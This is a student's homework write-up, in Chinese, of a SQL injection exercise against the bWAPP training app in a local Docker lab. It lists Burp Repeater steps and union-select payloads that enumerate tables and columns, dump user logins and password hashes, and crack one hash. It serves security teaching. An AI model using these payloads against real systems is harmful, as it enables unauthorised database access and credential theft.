作业:使用sql注入bwapp的post的low级别。
环境:打开本机之前搭建的docker环境,启动bwapp容器。
打开浏览器http://127.0.0.1/login.php
登陆后,选择SQL Injection (POST/Select),low级别。
===============
运行效果,在下拉框里选择内容,然后点击查询。
没有输入点。
查看有无注入点:
使用burp。点击proxy,先关闭intercept off。然后用burp带的浏览器打开http://127.0.0.1/login.php
登陆后,选择到SQL Injection (POST/Select),low级别
回到burp,查看http history
看到最后的一条post里面有:movie=1&action=go
右键点击send to repeater。
将这条post送到重放攻击里。
然后点击repeater。
直接点击send,可以把刚才那条post送到服务器。可以看到返回报文。render里可以看到对应网页。
修改movie=1&action=go 为movie=1'&action=go
查看报文,发现返回sql语法错误。说明输入进入了sql语句。
尝试注入:
movie=1' union select 1 -- &action=go 报语法错误。
因为movie这里实际参数是个整形。
所以改为:
movie=1 union select 1 -- &action=go 报参数数量不对。
逐个调整为
movie=1 union select 1,2,3,4,5,6,7 -- &action=go 获得正常返回查询。但是没有显示select 1,2,3,4,5,6,7的相关查询结果
检查网页可以看出,movie的正常选择值为1到10.
尝试选择11,即选择一个没有的值,确保union后的select结果能够出来。
select的2/3/5/4列显示了出来。
尝试获得用户和数据库信息:
movie=11 union select 1,user(),database(),4,5,6,7 -- &action=go
====================
开始注入
movie=11 union select 1,2,3,table_name,5,6,7 from information_schema.tables where table_schema=database() -- &action=go
获得了第一个表名blog
如何获得下一个呢?
LIMIT M OFFSET N
movie=11 union select 1,2,3,table_name,5,6,7 from information_schema.tables where table_schema=database() limit 1 -- &action=go
movie=11 union select 1,2,3,table_name,5,6,7 from information_schema.tables where table_schema=database() limit 1 offset 1 -- &action=go
获得表名heros
movie=11 union select 1,2,3,table_name,5,6,7 from information_schema.tables where table_schema=database() limit 1 offset 2 -- &action=go
获得表名movies
不断继续
获得表名:users
推测users表里可能放了用户
修改注入语句:
movie=11 union select 1,2,3,column_name,5,6,7 from information_schema.columns where table_name='users' -- &action=go
获得列名 id
用offset挨个获取
movie=11 union select 1,2,3,column_name,5,6,7 from information_schema.columns where table_name='users' limit 1 offset 1 -- &action=go
获得列名login、password
猜测以上两列为账号和密码。
movie=11 union select 1,2,login,password,5,6,7 from users -- &action=go
获得第一个账号密码
<td align="center">A.I.M.</td>
<td>5</td>
<td align="center">6885858486f31043e5839c735d99457f045affd0</td>
movie=11 union select 1,2,login,password,5,6,7 from users limit 1 offset 1 -- &action=go
获得第二个账号密码
<td align="center">bee</td>
<td>5</td>
<td align="center">6885858486f31043e5839c735d99457f045affd0</td>
================
使用md5解密
6885858486f31043e5839c735d99457f045affd0 对应密码bug。